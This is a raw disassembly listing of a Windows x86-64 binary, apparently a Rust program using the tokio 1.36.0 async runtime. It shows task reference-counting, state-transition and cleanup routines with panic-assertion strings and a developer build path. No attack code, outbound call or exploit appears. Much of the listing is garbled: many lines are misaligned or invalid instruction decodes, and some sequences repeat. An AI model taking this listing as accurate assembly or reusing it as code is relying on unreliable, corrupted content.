xor cl, byte [rcx + 0x49058bc3]
call qword [rax]
mov ebx, eax
mov eax, dword [0x14019f30c]
call qword [r8]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
call qword [r8]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd8]
ror dword [rcx - 0x73], 0x8f
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
cmp eax, 0x410005dc
mov byte [rdi + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
cmp eax, 0x410005dc
mov byte [rdi + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rcx + 0x190d8bd8], ecx
call qword [rax]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
mov eax, ebx
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
lea rbx, [rsi + 0x20]
test al, al
je 0x14008f576
mov rax, qword [rsi]
lea rcx, [rsp + 0x58]
nop dword [rax + rax]
test al, 1
je 0x14008f62d
test al, 0x20
jne 0x14008f460
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x14008f480
ret 0x48c0
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
adc dword [rbx + 0x158247c], eax
adc dword [rbx + 0x158247c], eax
je case.default.0x14008f4c8
jmp 0x14008f4b6
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
js 0x14008f645
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x58], 1
mov r9, r14
mov ecx, esi
mov qword [r9], rdx
cmp dword [rsp + 0x58], 1
jne 0x14008f4b6
mov rdx, qword [rsp + 0x28]
lock cmpxchg qword [rsi], rdx
jne 0x14008f420
movzx eax, r8b
lea rcx, [0x14019450c]
adc byte [rax], al
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add eax, 0x10
mov byte [rsp + 0x28], 1
and al, 0x28
add dword [rax - 0x77], ecx
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], rsi
and al, 0x60
and al, 0x60
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x58]
pop rax
pop rax
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
invalid
push rax
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x14008f695
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008f275.2
lea ecx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
test rax, rax
test eax, eax
test eax, eax
je 0x14008f561
or cl, byte [rax - 0x75]
invalid
mov rcx, qword [rsi + 0x230]
xor byte [rdx], al
add byte [rax], al
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x14019f258]
adc byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
add bl, ch
cmp eax, 0x2444c748
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
and al, 0x58
pop rax
invalid
and al, 0x58
mov rcx, rbx
call fcn.140069050
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x58
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
invalid
mov rcx, rbx
call fcn.140069050
mov rcx, rsi
call 0x14007f8f0
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x250
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
lea edx, [rcx + 0x218]
call fcn.1400fc970
test al, al
je 0x14008f7b2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [r8 - 0x39], r9b
xor byte [rax - 0x39], cl
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x30], 7
cmp rax, 6
jne 0x14008f7ba
xor byte [rax - 0x39], cl
xor byte [r15], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
clc
invalid
movups xmm0, xmmword [rdi + 0x38]
movups xmm1, xmmword [rdi + 0x48]
movaps xmmword [rsp + 0x30], xmm1
xor byte [rdi], cl
sub dword [rsp + 0x20], eax
xor byte [rdi], cl
sub dword [rsp + 0x20], eax
mov rax, qword [rsi]
cmp rax, 2
je 0x14008f7a1
test rax, rax
je 0x14008f7a1
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14008f7a1
mov rbx, qword [rsi + 0x10]
mov rax, qword [rbx]
test rax, rax
je 0x14008f77d
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14008f7a1
cmp qword [rbx + 0x10], 0x11
jb 0x14008f78f
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
int3
int3
mov rax, qword [rcx]
nop
test al, 8
je case.0x14006b64f.156
test al, 2
jne 0x14008f82c
mov rcx, rax
and rcx, 0xfffffffffffffff5
lock cmpxchg qword [rsi], rcx
jne 0x14008f810
jmp 0x14008f843
invalid
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 7
lea rdx, [rsp + 0x28]
call fcn.140069050
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd qword [rsi], rax
invalid
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008f8cf
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008f8ad
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008f872
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x14008f891
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x210
add byte [rax], al
add byte [rax], al
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x210
pop rsi
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x140167fe8]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
call fcn.140122660
xchg ecx, eax
sub eax, 0x8d480009
or eax, 0xd87ea
invalid
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
or eax, 0x58d4c00
or ecx, dword [rax + 0x27ba000d]
add byte [rax], al
add al, ch
jns case.0x140016398.2699
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
invalid
or dword [rax], eax
add ah, cl
int3
int3
and byte [rax - 0x39], cl
rol al, 0xff
invalid
invalid
invalid
and rax, 0xffffffffffffffc0
loopne 0x14008f8cb
cmp rax, 0x40
jne 0x14008f95f
mov rsi, rcx
mov esi, ecx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008f927
lea rcx, [rsi + 0x20]
call fcn.1400caa30
mov cl, 3
add byte [rax - 0x73], cl
xor al, r13b
jo 0x14008f909
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
sub byte [rdx], al
add byte [rax], al
test rax, rax
je 0x14008f946
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
add byte [rbp + rcx*4 + 5], cl
je 0x14008f8f9
or eax, 0x27ba00
add byte [rax], al
call fcn.140122660
int3
in al, dx
or byte [rdx], al
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or edx, eax
or edx, eax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14008f990
test cl, 3
je 0x14008fa21
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008fa88
rol al, 0xff
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008fa7d
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008f9e5
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
xchg byte [rax], ch
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
je 0x14008fa04
xchg byte [rax], ch
add al, byte [rax]
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x208
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x20], 7
and al, 0x20
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140069050
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x28], 1
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 6
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140069050
mov rcx, rsi
add rsp, 0x208
pop rdi
pop rsi
jmp 0x14007f8f0
nop
add rsp, 0x208
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
int3
int3
push rdi
push rbx
sub rsp, 0xc8
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xb0], xmm6
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14008fae9
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008fb14
test al, 4
je 0x140090262
test al, 3
je 0x14008fad0
cmp rax, 0x3f
jbe 0x14009027a
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008fae9
movzx eax, dl
lea rcx, [0x14019451c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
lea rax, [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xf01307e], al
xchg dword [rsi + 7], edx
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008fd6d
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x14008fbc5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
invalid
add eax, 0x2883c600
sub byte [rcx], al
add byte [rax], al
invalid
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10f74105], ecx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0xf8]
mov r15, qword [rax + 0x100]
mov edi, dword [rax + 0x100]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
movzx eax, byte [rsi + 0xd0]
add byte [rax], al
add byte [rax], al
add byte [rax], al
test eax, eax
je 0x14008fd83
cmp eax, 3
je 0x14008fe07
mov eax, dword [0x14019f30c]
add eax, 0x10f6e6
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x128]
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x14008fca3
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x14008fc75
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
adc eax, dword [rdi]
add al, ch
mov dl, 0xd3
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
adc eax, dword [rdi]
add al, ch
mov dl, 0xd3
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
add eax, 0x10f691
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov eax, 0x100
mov qword [rax + 0x100], rdi
jmp case.0x140057a1f.194
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068da0
dec dword [rax - 0x39]
xor byte [rbx], r8b
add eax, dword [rax]
add byte [rax], al
dec dword [rax - 0x39]
xor byte [rbx], r8b
add eax, dword [rax]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008fd3d
cmp eax, 1
je 0x14008fd0b
invalid
sub eax, 0xf628058b
adc byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10f5fb05], ecx
cmc
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
cmc
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x100], rbx
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008fd44
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 2
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x140090147
xor r12d, r12d
lea rdi, [rsi + 0x30]
jle 0x14008fda4
jle 0x14008fda4
movzx eax, byte [rsi + 0xd0]
test eax, eax
jne 0x14008fc0b
invalid
dec dword [rax - 0x75]
adc byte [r8 - 0x77], r9b
and al, 0x40
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsi + 0x78]
mov qword [rsp + 0x78], rax
movups xmm1, xmmword [rsi + 0x48]
adc byte [rsi + 0x48], cl
adc byte [rsi + 0x48], cl
movups xmm2, xmmword [rsi + 0x58]
pop rax
movups xmm3, xmmword [rsi + 0x68]
movups xmmword [rsp + 0x68], xmm3
movups xmmword [rsp + 0x58], xmm2
movups xmmword [rsp + 0x48], xmm1
movups xmmword [rsi + 0x80], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x90], rax
mov rax, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov qword [rsi + 0x98], rax
movaps xmm0, xmmword [rsp + 0x50]
xchg byte [rax + 0xf000000], bl
sub byte [rsp + 0x50], al
movups xmmword [rsi + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
add byte [rdi], cl
sub byte [rsp + 0x60], al
movups xmmword [rsi + 0xb0], xmm0
mov al, 0
add byte [rax], al
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0xc0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsi + 0xc8], rax
lea r14, [rsi + 0x80]
lea rbx, [rsp + 0x90]
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
int1
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
int1
int1
mov rdx, rbx
call fcn.1400a5020
test al, al
ror byte [rdi], 0x84
ret
add dword [rax], eax
invalid
ror byte [rdi], 0x84
ret
mov byte [rsi + 0xd0], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008fea3
push rsp
push rsp
cmp eax, 1
je 0x14008fe82
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
rol dword [0xc6cf3f7d], 1
sub byte [rcx], al
add dword [rax], eax
add byte [rcx], al
rol dword [0xc6cf3f7d], 1
sub byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xf8], r12
mov qword [rax + 0x100], r15
mov eax, 0x100
movabs al, byte [0xb8894c000000f8]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x76], cl
and byte [rax - 0x75], cl
mov rax, qword [rsi]
mov eax, 0x100
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
invalid
nop
xor byte [rax - 0x7bf0fe58], dl
fiadd dword [rbx]
add byte [rax], al
test al, 1
je 0x140090292
test al, 0x20
jne 0x14008fef0
mov rdx, rax
and rdx, 0xffffffffffffffde
invalid
test al, 4
jne 0x14008ff10
ret 0x8348
cmp rax, 0x3f
jbe 0x14009027a
invalid
add eax, dword [rax]
invalid
test eax, 0x48000003
add edx, 0xffffffc0
add eax, dword [rax]
add byte [rax - 0x7d], cl
ret 0x48c0
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
add al, al
jmp 0x14008ff20
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
je case.0x1400679a0.163
jmp 0x14008ff49
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
js 0x1400902aa
ror byte [rdi], 0x88
xchg ecx, eax
add eax, dword [rax]
add byte [rax - 0x7d], cl
ret 0x4140
add rdx, 0x40
mov r8b, 1
mov al, 1
mov al, 1
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
add byte [rax], al
mov r9, rbx
mov qword [r9], rdx
mov dword [rcx], edx
cmp dword [rsp + 0x30], 1
xor byte [rcx], al
xor byte [rcx], al
jne 0x14008ff49
mov rdx, qword [rsp + 0x90]
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
nop
add byte [rax], al
add al, dh
cmpxchg qword [rsi], rdx
invalid
jne 0x14008feb0
movzx eax, r8b
movzx eax, al
lea rcx, [0x14019452c]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, r14
mov rdx, rsi
bnd call fcn.1400ff170
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x1400902fa
jl 0x14008ff7f
add byte [rax], al
jl 0x14008ff7f
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x14008ff5b.0
add byte [rax], al
add byte [rax], al
mov rax, qword [r14]
lock dec qword [rax]
invalid
or byte [rbp + 8], dh
jne 0x14008ff9d
mov rcx, r14
call fcn.14002ded0
invalid
stc
invalid
invalid
mov rcx, rdi
jmp 0x14008ffb9
mov rax, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008ffb5
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
test eax, eax
test eax, eax
je 0x14008ffd4
mov rcx, qword [rsi + 0xf0]
add byte [rax], al
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008ff5b.0
lea rcx, [rsi + 0x98]
call fcn.140058bc0
mov rcx, r14
call fcn.14005cdc0
mov byte [rsi + 0xd0], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14009002f
cmp eax, 1
je 0x14009005c
xor r12d, r12d
jmp 0x14009008c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x100], r15
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
mov rcx, rdi
call fcn.140068da0
mov qword [rdi], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14009012c
cmp eax, 1
je 0x1400900ec
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
invalid
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rbx + 0x10f21a05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xf8], r12
mov qword [rax + 0x100], r15
mov rcx, qword [rsi + 0x28]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
jmp 0x14009012f
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 2
xor byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
xor byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14019f30c]
int1
adc byte [rax], al
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
invalid
je 0x1400901b2
add dh, byte [rsp + rcx*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
sub eax, 0xf19b058b
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
add byte [rax], al
lea rdx, [0x140100f70]
invalid
add al, ch
invalid
invalid
add eax, 0x2887c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
outsb dx, byte [rsi]
int1
adc byte [rax], al
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
cmp eax, 1
je 0x140090198
invalid
mov eax, dword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x140081510
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
add esp, 0xc8
add esp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
